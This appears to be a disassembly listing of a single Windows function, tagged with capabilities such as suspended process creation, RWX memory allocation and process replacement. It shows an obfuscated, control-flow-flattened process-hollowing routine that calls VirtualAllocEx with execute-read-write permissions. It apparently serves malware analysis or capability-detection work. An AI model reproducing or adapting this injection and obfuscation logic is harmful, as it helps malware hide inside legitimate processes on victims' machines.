Function at 0x10008950
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x10074e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x27c86464
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x802f0621
je 0x1001148e
jmp 0x1000898c
mov eax, dword [ebp - 0x13c]
sub eax, 0x80943442
je 0x1000fb94
jmp 0x100089a2
mov eax, dword [ebp - 0x13c]
sub eax, 0x81b1d58d
je 0x10013048
jmp 0x100089b8
mov eax, dword [ebp - 0x13c]
sub eax, 0x81f6c55c
je 0x100163a5
jmp 0x100089ce
mov eax, dword [ebp - 0x13c]
sub eax, 0x823612b4
je 0x1000e978
jmp 0x100089e4
mov eax, dword [ebp - 0x13c]
sub eax, 0x82480d5b
je 0x10016a9e
jmp 0x100089fa
mov eax, dword [ebp - 0x13c]
sub eax, 0x82737df1
je 0x10014778
jmp 0x10008a10
mov eax, dword [ebp - 0x13c]
sub eax, 0x82f21f02
je 0x1000eb42
jmp 0x10008a26
mov eax, dword [ebp - 0x13c]
sub eax, 0x831534cd
je 0x10013b79
jmp 0x10008a3c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8384c86c
je 0x10015f99
jmp 0x10008a52
mov eax, dword [ebp - 0x13c]
sub eax, 0x83af7e5b
je 0x100161f4
jmp 0x10008a68
mov eax, dword [ebp - 0x13c]
sub eax, 0x83cf3a50
je 0x10011e08
jmp 0x10008a7e
mov eax, dword [ebp - 0x13c]
sub eax, 0x83efebb3
je 0x10012b87
jmp 0x10008a94
mov eax, dword [ebp - 0x13c]
sub eax, 0x84063318
je 0x1000ccb8
jmp 0x10008aaa
mov eax, dword [ebp - 0x13c]
sub eax, 0x841979e2
je 0x1000dd74
jmp 0x10008ac0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8438389e
je 0x1000f78c
jmp 0x10008ad6
mov eax, dword [ebp - 0x13c]
sub eax, 0x84483371
je 0x1001348e
jmp 0x10008aec
mov eax, dword [ebp - 0x13c]
sub eax, 0x856906be
je 0x1000d11b
jmp 0x10008b02
mov eax, dword [ebp - 0x13c]
sub eax, 0x858f2505
je 0x1001155d
jmp 0x10008b18
mov eax, dword [ebp - 0x13c]
sub eax, 0x862b917a
je 0x10014cdc
jmp 0x10008b2e
mov eax, dword [ebp - 0x13c]
sub eax, 0x877ec2c7
je 0x100135f6
jmp 0x10008b44
mov eax, dword [ebp - 0x13c]
sub eax, 0x879661c5
je 0x10015bc9
jmp 0x10008b5a
mov eax, dword [ebp - 0x13c]
sub eax, 0x87fae914
je 0x1000f993
jmp 0x10008b70
mov eax, dword [ebp - 0x13c]
sub eax, 0x88b8c213
je 0x1000f880
jmp 0x10008b86
mov eax, dword [ebp - 0x13c]
sub eax, 0x88beb339
je 0x10015d50
jmp 0x10008b9c
mov eax, dword [ebp - 0x13c]
sub eax, 0x88d520b9
je 0x10012ad7
jmp 0x10008bb2
mov eax, dword [ebp - 0x13c]
sub eax, 0x88fbbff9
je 0x10012733
jmp 0x10008bc8
mov eax, dword [ebp - 0x13c]
sub eax, 0x892f5c35
je 0x1000f9c1
jmp 0x10008bde
mov eax, dword [ebp - 0x13c]
sub eax, 0x89471689
je 0x10012d00
jmp 0x10008bf4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8979a023
je 0x10012c3b
jmp 0x10008c0a
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a6482a9
je 0x1000fc0a
jmp 0x10008c20
mov eax, dword [ebp - 0x13c]
sub eax, 0x8af93812
je 0x100134af
jmp 0x10008c36
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b1a8576
je 0x1000f17e
jmp 0x10008c4c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c0123d8
je 0x1000fda3
jmp 0x10008c62
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c12b020
je 0x10011afb
jmp 0x10008c78
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ccfb9f4
je 0x10016431
jmp 0x10008c8e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d0db931
je 0x10016a04
jmp 0x10008ca4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d5f585a
je 0x1000f1bc
jmp 0x10008cba
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d7d9be6
je 0x1001448e
jmp 0x10008cd0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d85c1aa
je 0x10010f3c
jmp 0x10008ce6
mov eax, dword [ebp - 0x13c]
sub eax, 0x8dd5c1e1
je 0x1000f0cc
jmp 0x10008cfc
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ddae8a3
je 0x10015dda
jmp 0x10008d12
mov eax, dword [ebp - 0x13c]
sub eax, 0x8dfb6a1f
je 0x10010de3
jmp 0x10008d28
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e574ce6
je 0x10013ac8
jmp 0x10008d3e
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e7146ca
je 0x10012d51
jmp 0x10008d54
mov eax, dword [ebp - 0x13c]
sub eax, 0x901dbc72
je 0x10016043
jmp 0x10008d6a
mov eax, dword [ebp - 0x13c]
sub eax, 0x90652286
je 0x1000ca46
jmp 0x10008d80
mov eax, dword [ebp - 0x13c]
sub eax, 0x90c04b3a
je 0x1000d4d7
jmp 0x10008d96
mov eax, dword [ebp - 0x13c]
sub eax, 0x90ea469d
je 0x100127e6
jmp 0x10008dac
mov eax, dword [ebp - 0x13c]
sub eax, 0x911f8a95
je 0x10013357
jmp 0x10008dc2
mov eax, dword [ebp - 0x13c]
sub eax, 0x91878ce7
je 0x10013769
jmp 0x10008dd8
mov eax, dword [ebp - 0x13c]
sub eax, 0x926346ab
je 0x10010272
jmp 0x10008dee
mov eax, dword [ebp - 0x13c]
sub eax, 0x92fe43ad
je 0x1000d692
jmp 0x10008e04
mov eax, dword [ebp - 0x13c]
sub eax, 0x939fc194
je 0x1000d6a1
jmp 0x10008e1a
mov eax, dword [ebp - 0x13c]
sub eax, 0x93f8d3a3
je 0x1000dab8
jmp 0x10008e30
mov eax, dword [ebp - 0x13c]
sub eax, 0x946d6787
je 0x1000fc70
jmp 0x10008e46
mov eax, dword [ebp - 0x13c]
sub eax, 0x94bd2077
je 0x10015766
jmp 0x10008e5c
mov eax, dword [ebp - 0x13c]
sub eax, 0x95184f99
je 0x1000e90a
jmp 0x10008e72
mov eax, dword [ebp - 0x13c]
sub eax, 0x95dbacde
je 0x1000d2a4
jmp 0x10008e88
mov eax, dword [ebp - 0x13c]
sub eax, 0x9618a562
je 0x1000f3ee
jmp 0x10008e9e
mov eax, dword [ebp - 0x13c]
sub eax, 0x96917330
je 0x10015c95
jmp 0x10008eb4
mov eax, dword [ebp - 0x13c]
sub eax, 0x96e4f771
je 0x10012476
jmp 0x10008eca
mov eax, dword [ebp - 0x13c]
sub eax, 0x971de3ef
je 0x10013167
jmp 0x10008ee0
mov eax, dword [ebp - 0x13c]
sub eax, 0x97a564d3
je 0x1000d6c0
jmp 0x10008ef6
mov eax, dword [ebp - 0x13c]
sub eax, 0x97a9d31c
je 0x1000e9b6
push eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
movss xmm0, dword [0x100247ec]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100247e8]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100247e4]
movss dword [ebp - 0x108], xmm0
mov dl, 1
mov eax, 0x558752
mov ecx, 0x2daa684c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0xa6ffce9e
jmp 0x10016b3c
movss xmm0, dword [0x100247bc]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100247b8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0x266e5a16
jmp 0x10016b3c
movss xmm0, dword [0x100244cc]
movss dword [ebp - 0x10c], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x26096f79
sub edx, 1
add edx, 0x26096f79
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x96917330
mov ecx, 0xd9d01fee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x29dcf92a
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x939fc194
jmp 0x10016b3c
movss xmm0, dword [0x1002478c]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x138], 0x97a564d3
jmp 0x10016b3c
movss xmm0, dword [0x10024788]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10024784]
movss dword [ebp - 0x110], xmm0
mov dl, 1
mov eax, 0x4c384125
mov ecx, 0x5311347c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x10024768]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10024764]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x138], 0xea29ea59
jmp 0x10016b3c
movss xmm0, dword [0x100244ac]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0x671d995f
sub edx, 1
add edx, 0x671d995f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8df4c2b
mov ecx, 0xe294e5ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0xf6f04a01
sub edx, 1
sub edx, 0xf6f04a01
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf388f2fd
mov ecx, 0xd3a7c796
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x10024710]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1002470c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x138], 0xfa5fb381
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xf8effc56
sub edx, 1
add edx, 0xf8effc56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a2c8914
mov ecx, 0x39a65363
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x10024478]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0x84c72d0e
sub edx, 1
sub edx, 0x84c72d0e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5fbbfaf5
mov ecx, 0xf358ed3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x100246e4]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x100246e0]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0x9e46b84f
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8384c86c
mov ecx, 0x653f3a8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0x1313644c
sub edx, 1
sub edx, 0x1313644c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68719203
mov ecx, 0x3d0bbb30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dl, 1
mov eax, 0x5e325dfd
mov ecx, 0x37ccff2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x71a3e636
sub edx, 1
add edx, 0x71a3e636
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x901dbc72
mov ecx, 0x7eeb6fd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x1e27a51e
jmp 0x10016b3c
mov dl, 1
mov eax, 0x4428b117
mov ecx, 0xd31b00ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xb953988e
sub edx, 1
add edx, 0xb953988e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb48e5863
mov ecx, 0x8a6482a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb48e5863
mov ecx, 0x5e5d94f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x10024684]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10024680]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x138], 0x1ac61cca
jmp 0x10016b3c
movss xmm0, dword [0x10024674]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x138], 0x2df00923
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0xa53cbe17
sub edx, 1
add edx, 0xa53cbe17
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa80e6f8d
mov ecx, 0xb9689098
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
movss xmm0, dword [0x10024640]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0xb43895a9
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x531f8529
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b52cf9f
mov ecx, 0x1949184d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0xe166df50
jmp 0x10016b3c
movss xmm0, dword [0x100245d4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0x3415a0e0
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x40cbf07f
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xb799ac69
sub edx, 1
add edx, 0xb799ac69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x22ca292c
mov ecx, 0x52f79fde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x25a298ba
jmp 0x10016b3c
mov dword [ebp - 0x138], 0xf5108b9f
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
add edx, 0xdf3587a9
sub edx, 1
sub edx, 0xdf3587a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61e98041
mov ecx, 0xa0f24ef4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10024568]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xf1eaa519
jmp 0x10016b3c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100243d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100243d0]
movss dword [eax], xmm0
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d9f1cbb
mov ecx, 0x57efd0e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0x871a9370
sub edx, 1
add edx, 0x871a9370
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ad35504
mov ecx, 0x8e7146ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x362e092c
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
add edx, 0xa14d9bc8
sub edx, 1
sub edx, 0xa14d9bc8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4986ed7a
mov ecx, 0x69963e2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcd83876d
mov ecx, 0x2d2d878d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1002453c]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xc090aac2
jmp 0x10016b3c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10024530]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x8af93812
jmp 0x10016b3c
mov dl, 1
mov eax, 0x1911c801
mov ecx, 0x1b7d072f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0x607028af
sub edx, 1
add edx, 0x607028af
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52a8f646
mov ecx, 0xb7b59e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100243bc]
movss dword [eax], xmm0
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
mov edx, ecx
sub edx, 0xb25c86f7
sub edx, 1
add edx, 0xb25c86f7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6add14bf
mov ecx, 0xbd9a9958
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [0x10076128]
mov ecx, dword [0x10076124]
mov edx, eax
sub edx, 0xc68008c4
sub edx, 1
add edx, 0xc68008c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefdaef7f
mov ecx, 0x3bf554b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10024500]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x45d928af
jmp 0x10016b3c
mov ecx, dword [0x10076128]
mov eax, dword [0x10076124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x712350b8
mov ecx, 0xcde7e370
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x10016b3c
mov eax, dword [ebp - 0x88]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0xeed1e6c
jmp 0x10016b3c
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0xd6b3af37
jmp 0x10016b3c
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
sub eax, 0x73e7936b
add eax, 1
add eax, 0x73e7936b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x138], 0x384d52a9
jmp 0x10016b3c
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017280
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x100244cc]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x138], 0x95dbacde
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x4221a0da
jmp 0x10016b3c
mov dword [ebp - 0x138], 0xb282324
jmp 0x10016b3c
movss xmm0, dword [0x10024474]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0x653f3a8d
jmp 0x10016b3c
mov dword [ebp - 0x138], 0x7eeb6fd2
jmp 0x10016b3c
movss xmm0, dword [0x10024438]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10024434]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x138], 0x34522d22
jmp 0x10016b3c
movss xmm0, dword [0x10024404]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10024400]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x138], 0xac2c3eb5
jmp 0x10016b3c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100243f0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x59de96aa
jmp 0x10016b3c
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x138], 0xf0f53a53
jmp 0x10016b3c
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x138], 0x9884bb6b
jmp 0x10016b3c
jmp 0x10008970